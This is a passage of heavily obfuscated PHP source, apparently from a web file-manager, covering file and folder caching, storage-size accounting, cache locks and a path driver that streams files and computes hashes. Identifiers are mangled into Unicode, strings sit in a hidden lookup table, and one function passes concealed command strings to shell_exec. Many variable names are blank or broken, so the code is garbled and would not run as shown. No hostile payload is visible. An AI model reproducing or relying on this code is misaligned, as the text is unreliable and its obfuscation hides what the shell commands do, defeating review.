$this->fileInfoGet($ȼ); if (!$вﲝ) { return !1; } return IO::fileSubstr($вﲝ[$_SERVER[秼][87]], $ˑ, $); } public function fileInfoGet($́) { $ =& $_SERVER[秼]; $д = $this->sourceInfo($́); if (!$д || $д[$[496]]) { return !1; } $ΐ = $[559] . $д[$[552]]; $̕ = _get(self::$cacheFileInfo, $ΐ); if ($̕) { return $̕; } $ȾӅ = Model($[555])->fileInfo($д[$[552]]); if ($ȾӅ) { $ȾӅ[$[32]] = $д[$[32]]; } self::$cacheFileInfo[$ΐ] = $ȾӅ; return $ȾӅ; } private function folderChildrenNumber($ŧ) { $с =& $_SERVER[秼]; $娮 = $this->sourceInfo($ŧ); $ = array($с[666] => array($с[626], $娮[$с[595]] . $ŧ . $с[627]), $с[663] => $娮[$с[580]], $с[515] => intval($娮[$с[516]]), $с[660] => 1); $ܨ = $this->where($)->count(); $꺽 = $this->where($)->where(array($с[660] => 0))->count(); return array($с[83] => $꺽, $с[84] => $ܨ); } public function pathInfo($授, $ڧ = false) { $¸ =& $_SERVER[秼]; $ڧ = !1; $授 = intval($授); $Ӕ = $¸[545] . intval($ڧ) . $¸[473] . $授; $ׅ = _get(self::$cachePathInfo, $Ӕ); if ($ׅ) { return $ׅ; } $ = $this->sourceInfo($授); if (!$) { return !1; } $ = $this->_listDataApplyItem($, $ڧ); self::$cachePathInfo[$Ӕ] = $; return $; } public static $cachePathInfoMore = array(); public function pathInfoMore($ܿ⢥) { $˅ =& $_SERVER[秼]; $ﶠ = _get(self::$cachePathInfoMore, $ܿ⢥); if ($ﶠ) { return $ﶠ; } $ = $this->pathInfo($ܿ⢥); if (!$) { return !1; } if ($[$˅[496]] == $˅[91]) { $[$˅[82]] = $this->folderChildrenNumber($ܿ⢥); } self::$cachePathInfoMore[$ܿ⢥] = $; return $; } public function sourceInfo($) { $ྐ =& $_SERVER[秼]; if (!$) { return array(); } $ = intval($); $ = $ྐ[544] . $; $ʋѶ = _get(self::$cacheSourceInfo, $); if ($ʋѶ) { return $ʋѶ; } $¶ = $this->where(array($ྐ[193] => $))->find(); self::$cacheSourceInfo[$] = $¶; return self::$cacheSourceInfo[$]; } public function sourceCacheClear($魄 = false) { self::cacheClear($魄); } public static function cacheClear($쎣 = false) { $͔ =& $_SERVER[秼]; if ($쎣 == !1) { self::$cacheSourceInfo = null; self::$cacheSourceInfo = array(); self::$cachePathInfo = null; self::$cachePathInfo = array(); self::$cachePathInfoMore = null; self::$cachePathInfoMore = array(); return; } unset(self::$cacheSourceInfo[$͔[544] . $쎣]); unset(self::$cachePathInfoMore[$쎣]); unset(self::$cachePathInfo[$͔[2302] . $쎣]); unset(self::$cachePathInfo[$͔[2303] . $쎣]); } public function metaSet($Ƹ, $ = null, $р˄ = null) { $ݿ = parent::metaSet($Ƹ, $, $р˄); if ($ݿ) { $this->sourceCacheClear($Ƹ); } return $ݿ; } public function pathInfoByPath($Ĉ, $) { $ =& $_SERVER[秼]; $ = !$ ? array() : explode($[8], trim($, $[8])); $ﴰ = $Ĉ; foreach ($ as $ޒ) { $輋 = array($[192] => $ﴰ, $[32] => $ޒ); $ = $this->field($[2304])->where($輋)->select(); if (!$) { return !1; } $ = array_sort_by($, $[516]); $ﴰ = $[0][$[193]]; } $苸 = $this->sourceInfo($ﴰ); $this->pathInfoFilter($苸); return $苸; } protected function updateModifyTime($җק) { $д =& $_SERVER[秼]; $ = defined($д[2211]) ? USER_ID : 0; if (!$җק) { return; } if (!is_array($җק)) { $җק = array($җק); } foreach ($җק as $ => $) { $җק[$] = intval($); $this->sourceCacheClear($); } $ߒ = array($д[193] => array($д[7], $җק)); $攝 = array($д[665] => $, $д[509] => time()); $this->where($ߒ)->save($攝); } public function folderSizeReset($, $ = false) { $㰇 =& $_SERVER[秼]; if ($this->statusIgnoreResetSpace) { return; } $ = $this->sourceInfo($); $ݏƵ = $㰇[2305] . $; CacheLock::lock($ݏƵ, 20); if ($ === !1) { $this->sourceCacheClear($); $ = $this->sourceInfo($); $ = array($㰇[488] => $, $㰇[515] => 0); $ހ˿ = $this->where($)->sum($㰇[79]); $ = intval($ހ˿) - intval($[$㰇[79]]); } if ($ == 0) { return CacheLock::unlock($ݏƵ); } $ = $this->parentLevelArray($[$㰇[595]]); if (!$) { $ = array(); } $[] = $[$㰇[193]]; $ = array($㰇[193] => array($㰇[503], $)); if ($ < 0) { $[$㰇[79]] = array($㰇[1101], abs($)); } $this->where($)->setAdd($㰇[79], $); CacheLock::unlock($ݏƵ); $ = $㰇[2306] . $[$㰇[190]] . $㰇[4] . $[$㰇[580]]; $ޓޓ = array($[$㰇[190]], $[$㰇[580]]); TaskRun::timeLimitCall($, $㰇[2307], $ޓޓ, 1.5); } public function folderSizeResetChildren($) { $ =& $_SERVER[秼]; $this->sourceCacheClear($); $ = $this->sourceInfo($); $ = array($[660] => 1, $[663] => $[$[580]], $[666] => array($[626], $[$[595]] . $ . $[627])); $Ú = $[2308]; $ڎ = $this->field($Ú)->where($)->select(); $[$[496]] = 0; $ = $this->field($Ú)->where($)->select(); if (!$) { return; } $ڎ[] = $; $ڎ = array_to_keyvalue($ڎ, $[193]); foreach ($ڎ as $ɾ => $ħ) { $ڎ[$ɾ][$[2309]] = $ڎ[$ɾ][$[79]]; $ڎ[$ɾ][$[79]] = 0; } foreach ($ as $ħ) { $ = $ħ[$[192]] . $[12]; if (!isset($ڎ[$])) { continue; } if ($ħ[$[516]] == $ڎ[$][$[516]]) { $ڎ[$][$[79]] += $ħ[$[79]]; } } foreach ($ڎ as $ħ) { $ӧ = $this->parentLevelArray($ħ[$[595]]); foreach ($ӧ as $) { $ = $ . $[12]; if (!isset($ڎ[$])) { continue; } if ($ħ[$[516]] == $ڎ[$][$[516]]) { $ڎ[$][$[79]] += $ħ[$[79]]; } } } $傈 = array(); foreach ($ڎ as $ħ) { if ($ħ[$[79]] == $ħ[$[2309]]) { continue; } $傈[] = array($[193], $ħ[$[193]], $[79], $ħ[$[79]]); } $this->saveAll($傈); } public function userSpaceReset($G = false) { $ =& $_SERVER[秼]; $ҽ = $this->where(array($[190] => self::TYPE_USER, $[580] => $G, $[496] => 0))->sum($[79]); $ҽ = !$ҽ || $ҽ <= 0 ? 0 : $ҽ; Model($[588])->userEdit($G, array($[1972] => $ҽ)); } public function targetSpaceUpdate($, $ߖ) { $ǾՏ =& $_SERVER[秼]; if (!$ߖ) { return; } if (!in_array($, array(self::TYPE_USER, self::TYPE_GROUP))) { return; } $և = $this->targetSpaceSize($, $ߖ); if ($ == self::TYPE_USER) { Model($ǾՏ[588])->userEdit($ߖ, array($ǾՏ[1972] => $և)); } else { if ($ == self::TYPE_GROUP) { Model($ǾՏ[596])->groupEdit($ߖ, array($ǾՏ[1972] => $և)); } } } public function targetSpaceSize($, $ر) { $ =& $_SERVER[秼]; $ՠ = 0; $ = $this->targetSourceRoot($, $ر, !0); foreach ($ as $) { if (!$) { continue; } $ՠ += floatval($[$[79]]); $߁ = array($[666] => array($[626], $[604] . $[$[193]] . $[627])); $ = Model($[514])->field($[502])->where($߁)->select(); $ = array_to_keyvalue($, $[12], $[193]); $ = array_unique(array_filter($)); if ($) { $߁ = array($[502] => array($[503], $)); $ՠ += floatval($this->where($߁)->sum($[79])); } } $ՠ = !$ՠ || $ՠ <= 0 ? 0 : $ՠ; return $ՠ; } public function allFileTypeProfile() { return $this->fileTypeProfile(!1, !1); } public function userFileTypeProfile($ʀ) { return $this->fileTypeProfile($ʀ, SourceModel::TYPE_USER); } public function groupFileTypeProfile($) { return $this->fileTypeProfile($, SourceModel::TYPE_GROUP); } private function fileTypeProfile($, $) { $ =& $_SERVER[秼]; $ħ = $[2310] . $ . $[11] . $; $ұӸ = Cache::get($ħ); if ($ұӸ) { return $ұӸ; } $߽ = array($[660] => 0); if ($ != !1) { $߽[$[580]] = $; $߽[$[190]] = $; } $רΡ = array(); $רΡ[$[2311]] = array($[2312] => LNG($[2311]), $[2313] => $this->where($߽)->count(), $[631] => $this->where($߽)->sum($[79])); $ = KodIO::fileTypeList(); foreach ($ as $ۋ => $) { $߽[$[497]] = $this->fileTypeWhere($ۋ); $רΡ[$ۋ] = array($[2312] => $[$[32]], $[2313] => $this->where($߽)->count(), $[631] => $this->where($߽)->sum($[79])); } Cache::set($ħ, $רΡ, 1200); return $רΡ; } public function fileNameExist($, $) { $㛷 =& $_SERVER[秼]; $ = $this->field($㛷[2314])->where(array($㛷[192] => $, $㛷[32] => $, $㛷[516] => 0))->find(); return is_array($) ? $[$㛷[193]] : !1; } public function childList($) { $ =& $_SERVER[秼]; $ = $[2285] . $; if (isset(self::$cacheChildList[$])) { return self::$cacheChildList[$]; } $姈 = array($[192] => intval($), $[516] => 0); $泖 = $this->where($姈)->select(); $泖 = $泖 ? $泖 : array(); self::$cacheChildList[$] = $泖; foreach ($泖 as $ޠ٢) { $ = $[544] . $ޠ٢[$[193]]; self::$cacheSourceInfo[$] = $ޠ٢; } return $泖; } public function fileNameAuto($݈, $Ý, $ß = REPEAT_RENAME, $܇ʠ = false) { $횢 =& $_SERVER[秼]; $Ԏ = get_path_ext($Ý); $ = $Ԏ ? get_path_ext_name($Ý) . $횢[2315] . $Ԏ : $Ý . $횢[471]; $ᩣ = array($횢[192] => $݈, $횢[516] => 0, $횢[32] => array($횢[470], $)); $ = $this->field($횢[32])->where($ᩣ)->select(); $ύ = array_to_keyvalue($, $횢[12], $횢[32]); return $this->fileNameAutoGet($ύ, $Ý, $ß, $܇ʠ); } public function fileNameAutoGet($Լ, $ߝƧ, $ހ, $) { $ =& $_SERVER[秼]; if ($ހ == REPEAT_REPLACE || !$Լ || !in_array_not_case($ߝƧ, $Լ) || $ && $ހ != REPEAT_RENAME_FOLDER) { return $ߝƧ; } if ($ހ == REPEAT_SKIP) { return !1; } $ = $[10] . get_path_ext($ߝƧ); $ = $ == $[10] || $ ? $[12] : $; for ($ = 1; $ <= count($Լ) + 1; $++) { $ = substr($ߝƧ, 0, strlen($ߝƧ) - strlen($)); $ޘ۫ = $ . "\50{$}\51{$}"; if (!in_array_not_case($ޘ۫, $Լ)) { return $ޘ۫; } } } } goto Dơ˻; b: class CacheLockFile { private static $cachePath; private static $caches; public function __construct() { $ͯ =& $_SERVER[秼]; $ = $GLOBALS[$ͯ[6]][$ͯ[426]]; self::$cachePath = $[$ͯ[232]][$ͯ[87]]; @mkdir(self::$cachePath, DEFAULT_PERRMISSIONS, !0); } public function lock($, $ª = 0) { $ǿ =& $_SERVER[秼]; $棧ɖ = microtime(!0); $ = $棧ɖ + $ª + 0.0001; $ = rtrim(self::$cachePath, $ǿ[8]) . $ǿ[953] . md5($) . $ǿ[950]; if (file_exists($) && filemtime($) && filemtime($) < time() - 10) { @unlink($); } do { if (file_exists($)) { cacheLockWait(); continue; } $̫ = fopen($, $ǿ[954]); if (!$̫) { return !1; } $Ŀؿ = flock($̫, LOCK_EX | LOCK_NB); self::$caches[$] = array($ǿ[955] => $̫, $ǿ[232] => $); fwrite($̫, $); clearstatcache(); if ($̫ && $Ŀؿ) { return !0; } cacheLockWait(); } while (microtime(!0) < $); $this->unlock($); return !1; } public function lockGet($䮴) { $Յ =& $_SERVER[秼]; $Å = rtrim(self::$cachePath, $Յ[8]) . $Յ[953] . md5($䮴) . $Յ[950]; return file_exists($Å); } public function unlock($ʗ) { $ =& $_SERVER[秼]; $褐 = self::$caches[$ʗ]; if (!$褐) { return; } @flock($褐[$[955]], LOCK_UN); @fclose($褐[$[955]]); @unlink($褐[$[232]]); unset(self::$caches[$ʗ]); } } class CacheLockRedis { public function lock($, $ = 10) { $ז = Cache::init(); $ = microtime(!0) + $; while (microtime(!0) < $) { $̋ = $ז->get($); if (!$̋) { $¦ = $ז->setLock($, $, $); if ($¦) { return !0; } } else { if ($̋ < microtime(!0)) { $ז->set($, $, $ * 2); if ($ז->get($) === $̋) { return !0; } } } cacheLockWait(); } return !1; } public function lockGet($ɩ) { return Cache::init()->get($ɩ); } public function unlock($輨) { return Cache::init()->remove($輨); } } class CacheLockMemcached { public function lock($, $ϕƲ = 0) { $ = Cache::init(); $ܙ = microtime(!0) + $ϕƲ; while (microtime(!0) < $ܙ) { $В = $->get($); if (!$В || $В < microtime(!0)) { $֬ = $->handle->add($, $ܙ, $ϕƲ); if ($֬) { return !0; } } cacheLockWait(); } return !1; } public function lockGet($Ӄ) { return Cache::init()->get($Ӄ); } public function unlock($셲) { return Cache::init()->remove($셲); } } goto F; cӵ: class PathDriverBase { public $pathDriver = ''; public $pathBase = ''; public $path = ''; public $pathID = ''; public $_data = array(); public function __construct() { $ =& $_SERVER[秼]; $this->objectDriver = array($[60], $[61], $[62], $[63], $[64], $[65], $[66], $[67], $[68], $[69], $[70], $[71]); $this->_classObjectID = mt_rand(0, 10000); } public function getPath($إ) { if (in_array($this->getType(), $this->objectDriver)) { return ltrim($إ, $_SERVER[秼][8]); } return $إ; } public function iconvApp($ݪ) { return $ݪ; } public function iconvSystem($߇) { return $߇; } public function iconvTo($, $ü, $) { $˄ =& $_SERVER[秼]; if (!$ || !function_exists($˄[72])) { return $; } static $٨ = array(); $ٿ = $ü . $˄[73] . $ . $˄[74] . $; if (isset($٨[$ٿ])) { return $٨[$ٿ]; } if (function_exists($˄[75])) { $ۯ = @mb_convert_encoding($, $, $ü); } else { $ۯ = @iconv($ü, $, $); } $ۯ = $ۯ ? $ۯ : $; if (strstr($ۯ, $˄[76])) { $ۯ = str_replace($˄[76], $˄[11], $ۯ); } $٨[$ü . $˄[73] . $ . $˄[74] . $] = $ۯ; $٨[$ . $˄[73] . $ü . $˄[74] . $] = $; $٨[$ . $˄[73] . $ü . $˄[74] . $ۯ] = $; $٨[$ü . $˄[73] . $ . $˄[74] . $ۯ] = $ۯ; return $ۯ; } public function getPathInner($) { $Ո = IO::init($); return $Ո->path; } public function getPathOuter($) { $ի =& $_SERVER[秼]; $ = strlen(trim($this->pathBase, $ի[8])); $ = substr(trim($, $ի[8]), $); return $this->pathDriver . $ի[8] . ltrim($, $ի[8]); } public function isParentOf($Æ, $ά) { $Ѣ =& $_SERVER[秼]; $Æ = rtrim(strtolower($Æ), $Ѣ[8]) . $Ѣ[8]; $ά = rtrim(strtolower($ά), $Ѣ[8]) . $Ѣ[8]; $ = strpos($ά, $Æ) === 0; return $; } public function getType() { $𐮍 =& $_SERVER[秼]; $͟ = str_replace($𐮍[77], $𐮍[12], get_class($this)); return strtolower($͟); } public function isOsDriver() { if (!is_array($this->objectDriver)) { return !1; } return in_array($this->getType(), $this->objectDriver); } public function fileNameExist($, $ϰ) { $暂 =& $_SERVER[秼]; $ = rtrim($, $暂[8]) . $暂[8] . $ϰ; $̸ = $this->exist($); return $̸ ? $ : !1; } public function setModifyTime($߉ď, $ = '') { } public function renameObject($, $֑) { $֛ = $֑; $ = $this->getPathOuter($); $֑ = $this->pathFather($) . $֑; $ߩм = IO::copy($, $this->pathFather($), REPEAT_RENAME_FOLDER, $֛); if ($ߩм) { IO::remove($); } return $ߩм ? $֑ : !1; } public function tempFile($ڛ = '', $ = '') { if (!$ڛ) { $ڛ = rand_string(15); } $ = TEMP_FILES . rand_string(15) . $_SERVER[秼][8]; @mkdir($, DEFAULT_PERRMISSIONS, !0); $ = $ . $ڛ; @touch($); if ($) { file_put_contents($, $); } return $; } public function tempFileRemve($ڻ) { @unlink($ڻ); @rmdir($this->pathFather($ڻ)); } public function mkfile($, $Ӳ = '', $Ь = REPEAT_RENAME) { } public function mkdir($覼, $ﴙ = REPEAT_SKIP) { } public function delFile($ڦЬ) { } public function delFolder($) { } public function copyFile($Ң, $ҋ) { } public function moveFile($Ѕ, $) { } public function remove($ӥЄ) { if ($this->isFile($ӥЄ)) { return $this->delFile($ӥЄ); } return $this->delFolder($ӥЄ); } public function rename($۳, $ݮ) { } public function exist($) { } public function findByHash($蟾 = '', $ = '') { return !1; } public function isFile($) { } public function isFolder($) { } public function size($) { } public function info($) { } public function infoSimple($䔼¯) { return $this->info($䔼¯); } public function infoAuth($暱) { return $this->info($暱); } public function infoFull($ք) { return $this->info($ք); } public function infoFullSimple($Ń) { return $this->info($Ń); } public function infoWithChildren($ˊ) { $ =& $_SERVER[秼]; static $ܯ = array(); if (isset($ܯ[$ˊ])) { return $ܯ[$ˊ]; } $; = $this->info($ˊ); if ($; && $;[$[33]] == $[78]) { $壳 = array($[79] => 0, $[80] => 0, $[81] => 0); $this->infoChildren($ˊ, $壳); $;[$[79]] = $壳[$[79]]; $;[$[82]] = array($[83] => $壳[$[80]], $[84] => $壳[$[81]]); $ܯ[$ˊ] = $;; } return $;; } public function listPath($, $˝ = false) { } public function has($̨Ϯ, $ο = false, $ޢ = false) { } public function canRead($Ɯ) { } public function canWrite($ۍ) { } public function getContent($) { } public function setContent($, $ = '') { } protected function infoChildren($, &$ǐ) { $݁ =& $_SERVER[秼]; check_abort_echo(); $ҘÓ = $this->listPath($, !0); $ҘÓ = array_merge($ҘÓ[$݁[85]], $ҘÓ[$݁[86]]); foreach ($ҘÓ as $) { if ($[$݁[33]] == $݁[78]) { $ǐ[$݁[81]]++; $ = $this->getPathInner($[$݁[87]]); $this->infoChildren($, $ǐ); } else { $ǐ[$݁[80]]++; $ǐ[$݁[79]] += $[$݁[79]]; } } } public function fileSubstr($, $ , $) { } public function listAll($Ǩ) { } public function listAllMake($՟藍, &$˨) { $ =& $_SERVER[秼]; check_abort_echo(); $Ŋ = $this->listPath($՟藍, !0); if (!$Ŋ) { return; } $ = array_merge($Ŋ[$[85]], $Ŋ[$[86]]); foreach ($ as $ő) { $ = $ő[$[33]] == $[78]; $Ƽ = array($[87] => $ő[$[87]], $[78] => $); if (isset($ő[$[79]])) { $Ƽ[$[79]] = $ő[$[79]]; } if (isset($ő[$[88]])) { $Ƽ[$[88]] = $ő[$[88]]; } if (!$) { $˨[] = $Ƽ; continue; } $˨[] = $Ƽ; $ɻ = $ő[$[87]]; $饛 = $this->pathDriver; if (substr($ő[$[87]], 0, strlen($饛)) == $饛) { $ɻ = substr($ɻ, strlen($饛)); } $this->listAllMake($ɻ, $˨); } } public function listAllSimple($¹, $ޢ = false) { $Ĵ = $this->listAll($¹); return $this->listAllSimpleMake($Ĵ, $this->getPathOuter($¹), $ޢ); } public function listAllSimpleMake($, $ǒ, $) { $ =& $_SERVER[秼]; $ = array(); $ǒ = rtrim(get_path_father($ǒ), $[8]) . $[8]; foreach ($ as $ͤ) { $Ӓ = array($[87] => $ͤ[$[87]], $[89] => $ͤ[$[87]], $[78] => $ͤ[$[78]]); if (isset($ͤ[$[79]]) && !$ͤ[$[78]]) { $Ӓ[$[79]] = $ͤ[$[79]]; } if (isset($ͤ[$[88]])) { $Ӓ[$[88]] = $ͤ[$[88]]; } if (is_array($ͤ[$[90]])) { $Ӓ[$[89]] = $ͤ[$[90]][$[87]]; $Ӓ[$[79]] = $ͤ[$[90]][$[79]]; $Ӓ[$[88]] = $ͤ[$[90]][$[88]]; } else { if (substr($ͤ[$[87]], 0, strlen($ǒ)) == $ǒ) { $Ӓ[$[87]] = substr($ͤ[$[87]], strlen($ǒ)); } } $ˏ = $ͤ[$[78]] ? $[8] : $[12]; $Ӓ[$[89]] = rtrim($Ӓ[$[89]], $[8]) . $ˏ; $Ӓ[$[87]] = $[8] . trim($Ӓ[$[87]], $[8]) . $ˏ; if (!$) { $Ȁ = explode($[8], trim($Ӓ[$[87]], $[8])); $Ӓ[$[87]] = $[8] . implode($[8], array_slice($Ȁ, 1)) . $ˏ; } $[] = $Ӓ; } return array_sort_by($, $[87]); } public function upload($ޯ, $, $⅍ = false, $ż = REPEAT_REPLACE) { } public function uploadFileByID($, $ȓ, $) { } public function uploadFileByPath($˫, $߮, $ܖ = array()) { } public function isUploadServer() { $հ =& $_SERVER[秼]; if (isset($this->ioUploadServer) && $this->ioUploadServer == $հ[91]) { return !0; } return $GLOBALS[$հ[6]][$հ[92]][$հ[93]]; } public function isFileOutServer() { $ї =& $_SERVER[秼]; if (isset($this->ioFileOutServer) && $this->ioFileOutServer == $ї[91]) { return !0; } return $GLOBALS[$ї[6]][$ї[92]][$ї[94]]; } public function isCdnHost() { if ($this->isFileOutServer() || empty($this->cdnHost)) { return !1; } return request_url_safe($this->cdnHost) ? !0 : !1; } public function getCdnLink($Ǣ) { $ =& $_SERVER[秼]; if (!$this->isCdnHost()) { return $Ǣ; } return str_replace(trim(get_url_root($Ǣ), $[8]), trim($this->cdnHost, $[8]), $Ǣ); } public function uploadLink($, $ƀ = 0) { $휙 =& $_SERVER[秼]; if ($this->isUploadServer()) { return; } $ԫ = $this->getType(); if (!in_array($ԫ, $this->objectDriver)) { return; } if (!$this->isBucketCors()) { return; } $ = 1024 * 1024 * 10; $ےҵ = $ƀ <= $ ? $휙[95] : $휙[96]; $Ļ = (!$ƀ ? 1 : ceil($ƀ / pow(1024, 3))) * 3600 * 4; $٩ = $this->{$ےҵ}($, $Ļ); if ($٩) { $٩[$휙[97]] = $; $٩[$휙[98]] = $ԫ; } return $٩; } public function uploadFormData($ϛ, $ܛ = 3600) { } public function uploadMultiData($߀, $ = 3600) { } public function multiUploadFormData($ߠ, $Ǯ = 3600) { return $this->uploadMultiData($ߠ, $Ǯ); } public function download($е, $ӂ) { } public function ext($) { $ =& $_SERVER[秼]; if (strpos($, $[8]) === -1) { $ = $; } else { $ = $this->pathThis($); } $ҥ = $[12]; if (strstr($, $[10])) { $ҥ = substr($, strrpos($, $[10]) + 1); $ҥ = strtolower($ҥ); } if (strlen($ҥ) > 3 && preg_match($[99], $ҥ, $Ѡ)) { $ҥ = $[12]; } return $ҥ; } public function pathThis($) { $ =& $_SERVER[秼]; $ = str_replace($[100], $[8], rtrim($, $[8])); $ض = strrpos($, $[8]); if ($ض === !1) { return $; } return substr($, $ض + 1); } public function pathFather($цĿ) { $˝ =& $_SERVER[秼]; $цĿ = str_replace($˝[100], $˝[8], rtrim($цĿ, $˝[8])); $𤵼 = strrpos($цĿ, $˝[8]); if ($𤵼 === !1) { return $˝[12]; } return substr($цĿ, 0, $𤵼 + 1); } public function hashSimple($) { $Ȋ =& $_SERVER[秼]; if (!$) { return md5($Ȋ[12]); } $í = $this->size($); $ = 200; $ = 50; if ($í <= $ * $) { return $this->hashMd5($) . $í; } $ = intval($í / $); $Ԥ = $Ȋ[12]; for ($ʵ = 0; $ʵ < $; $ʵ++) { $Ԥ .= $this->fileSubstr($, $ * $ʵ, $); } $Ԥ .= $this->fileSubstr($, $í - $, $); return md5($Ԥ) . $í; } public static $md5Cache = array(); public function hashMd5($Է) { if (!$Է) { return md5($_SERVER[秼][12]); } $Է = $this->iconvSystem($Է); if (isset(self::$md5Cache[$Է])) { return self::$md5Cache[$Է]; } self::$md5Cache[$Է] = $this->hashMd5Shell($Է); if (!self::$md5Cache[$Է]) { self::$md5Cache[$Է] = @md5_file($Է); } return self::$md5Cache[$Է]; } private function hashMd5Shell($) { $ =& $_SERVER[秼]; if (!$) { return md5($[12]); } if (!function_exists($[101])) { return !1; } $Յ = array($[102], $[103]); $轢 = Cache::get($[104]); if (!$轢) { $ = BASIC_PATH . $[105]; $ = md5_file($); $轢 = $[106]; foreach ($Յ as $ѱ) { $ɻ = shell_exec($ѱ . "\x20\x22{$}\42"); if ($ɻ && substr(trim($ɻ), 0, 32) == $) { $轢 = $ѱ; break; } } Cache::set($[104], $轢, 3600); } if ($轢 == $[106]) { return !1; } $ɻ = shell_exec($轢 . "\40\42{$}\x22"); $ɻ = str_replace($[107], $[12], $ɻ); return substr($ɻ, 0, 32); } public function link($Ӊ) { return $Ӊ; } public function fileOut($п, $֝ = false, $ = false, $ܳ = '') { $ƛ =& $_SERVER[秼]; $this->cacheMethod(null, null); if (!$п || !$this->exist($п)) { show_json(LNG($ƛ[108]), !1, $); } $ɝ = $this->getType() == $ƛ[109]; $ = $GLOBALS[$ƛ[6]][$ƛ[92]][$ƛ[110]][$ƛ[111]]; $̈́ = (double) $GLOBALS[$ƛ[6]][$ƛ[92]][$ƛ[110]][$ƛ[112]] * 1024 * 1024; @ob_end_clean(); set_timeout(); $Ƭ = $this->infoFull($п); $ϥ = $Ƭ[$ƛ[79]]; $딋 = gmdate($ƛ[113], $Ƭ[$ƛ[88]]); $ = $ ? $ : $this->iconvApp($Ƭ[$ƛ[32]]); $ڪ = 0; $ = $ϥ - 1; $Ɲ = $this->ext($); if (in_array($Ɲ, array($ƛ[114], $ƛ[115], $ƛ[116], $ƛ[117]))) { $Ɲ = $ƛ[118]; } if (in_array($Ɲ, array($ƛ[119]))) { $Ɲ = $ƛ[120]; } if (!$ܳ) { $ܳ = md5($딋 . $ϥ); } $ܳ = $ƛ[121] . $ܳ . $ƛ[121]; $͔ŷ = get_file_mime($Ɲ); $ܹ = !0; $ܹ = isset($_GET[$ƛ[122]]) ? !1 : !0; if ($֝ === !1 && !mime_support($͔ŷ)) { $͔ŷ = $ƛ[123]; } header($ƛ[124]); header($ƛ[125] . $͔ŷ); $ = rawurlencode($); $ = $ƛ[121] . $ . $ƛ[126] . $; if ($֝) { header($ƛ[127]); header($ƛ[128] . $); } else { if ($ܹ) { header($ƛ[129] . $); } } $Ŀ = 3600 * 24 * 30; header($ƛ[130]); header($ƛ[131]); header($ƛ[132] . $Ŀ); header($ƛ[133] . gmdate($ƛ[113], time() + $Ŀ) . $ƛ[134]); if (isset($_SERVER[$ƛ[135]]) && strtotime($_SERVER[$ƛ[135]]) == $Ƭ[$ƛ[88]]) { header($ƛ[136], !0, 304); die; } if (isset($_SERVER[$ƛ[137]]) && $_SERVER[$ƛ[137]] == $ܳ) { header($ƛ[138] . $ܳ, !0, 304); die; } header($ƛ[138] . $ܳ); header($ƛ[139] . $딋 . $ƛ[134]); header($ƛ[140] . $); header($ƛ[141]); header($ƛ[142] . $ϥ); header($ƛ[143]); Hook::trigger($ƛ[144], $п, $ϥ, $, $Ɲ); if (!$֝ && $Ɲ == $ƛ[145]) { if ($ϥ > 1024 * 1024 * 5) { die; } $ = $this->getContent($п); $ = Html::clearSVG($); header($ƛ[146] . strlen($)); echo $; die; } $ = strtolower($_SERVER[$ƛ[147]]); if ($ɝ && $ && $) { if (strstr($, $ƛ[148])) { header($ƛ[149] . $п); } else { if (strstr($, $ƛ[150])) { header($ƛ[151] . $п); } else { if (strstr($, $ƛ[152])) { header($ƛ[153] . $п); } } } if ($̈́) { header($ƛ[154] . $̈́); } return; } if (isset($_SERVER[$ƛ[155]])) { if (preg_match($ƛ[156], $_SERVER[$ƛ[155]], $Ł)) { $ڪ = intval($Ł[1]); $ڪ = $ڪ <= 0 ? 0 : ($ڪ >= $ ? $ : $ڪ); if (!empty($Ł[2])) { $ = intval($Ł[2]); $ = $ < $ڪ ? $ڪ : ($ >= $ ? $ : $); } } header($ƛ[157]); header("\103\157\156\x74\145\x6e\x74\x2d\x52\x61\x6e\147\145\x3a\40\x62\171\164\145\x73\40{$ڪ}\55{$}\57" . $ϥ); } else { header($ƛ[158]); } header($ƛ[159]); header($ƛ[160]); $IJ = !0; if ($_SERVER[$ƛ[161]] == $ƛ[162] && $ϥ > 1204 * 1024 * 1024 * 2) { $IJ = !1; } if ($IJ) { header($ƛ[163] . ($ - $ڪ + 1)); } if ($_SERVER[$ƛ[164]] == $ƛ[165]) { return; } $˚ = array($ƛ[166] => !1, $ƛ[167] => $ڪ, $ƛ[168] => $, $ƛ[169] => $Ɲ, $ƛ[170] => $Ƭ, $ƛ[171] => $ƛ[12], $ƛ[172] => 0); $˚ = Hook::filter($ƛ[173], $˚); $Ń = 1024 * 300; $Ö = 0; if ($̈́) { $Ö = intval(1000 * 1000 * ($Ń / $̈́)); } while ($ڪ <= $) { $ = timeFloat(); check_abort(); $ = $ - $ڪ + 1; if ($ <= $Ń) { $Ń = $; } $ = $this->fileSubstr($п, $ڪ, $Ń); if ($˚[$ƛ[166]]) { $˚[$ƛ[171]] = $; $˚[$ƛ[172]] = $ڪ; $˚ = Hook::filter($ƛ[174], $˚); $ = $˚[$ƛ[171]]; } echo $; $ڪ += $Ń; if ($Ń == $) { $ڪ = $ + 1; } if ($Ö) { $ = intval(1000 * 1000 * (timeFloat() - $)); $ = $Ö - $; if ($ > 5) { usleep($); } } } } public function fileOutServer($, $ = false, $˖ = false, $ֶ = '') { $this->fileOut($, $, $˖, $ֶ); } public function fileOutLink($) { header($_SERVER[秼][175] . $); die; } public function cacheMethod($ش۔, $, $ = null) { $Ң =& $_SERVER[秼]; static $Ƥ = array(); $ٕ = $ ? ltrim($this->getPathOuter($), $Ң[8]) : $Ң[12]; $Ԭ = $Ң[176] . $ش۔ . $Ң[177] . rtrim($ٕ, $Ң[8]); if (is_null($ش۔)) { $Ƥ = array(); return; } if (is_null($)) { foreach ($Ƥ as $Ԭ => $ŏ) { if (!strstr($Ԭ, $Ң[176] . $ش۔ . $Ң[178])) { continue; } unset($Ƥ[$Ԭ]); } return; } if (!is_null($)) { $Ƥ[$Ԭ] = $; return; } $ = isset($Ƥ[$Ԭ]) ? $Ƥ[$Ԭ] : null; if (!is_null($)) { return $; } $ = $this->{$ش۔}($); $Ƥ[$Ԭ] = $; return $; } public function cacheMethodInfoSet($, $, $Ԣ = false) { $Ĝ =& $_SERVER[秼]; if ($this->listItemCache === !1) { return; } $this->cacheMethod($Ĝ[179], $, $); $this->cacheMethod($Ĝ[180], $, $ ? !1 : !0); if (is_array($Ԣ)) { $this->cacheMethod($Ĝ[181], $, $Ԣ); } } public function fileOutImage($剨, $ = 250) { $ =& $_SERVER[秼]; set_timeout(); if (substr($剨, 0, 4) == $[152]) { $this->fileOutLink($剨); } $ = $this->info($剨); $ = !1; $ʆ = isset($GLOBALS[$[182]]) ? $GLOBALS[$[182]] : array(); if ($ʆ && $ʆ[$[183]] == $[$[87]]) { $ = 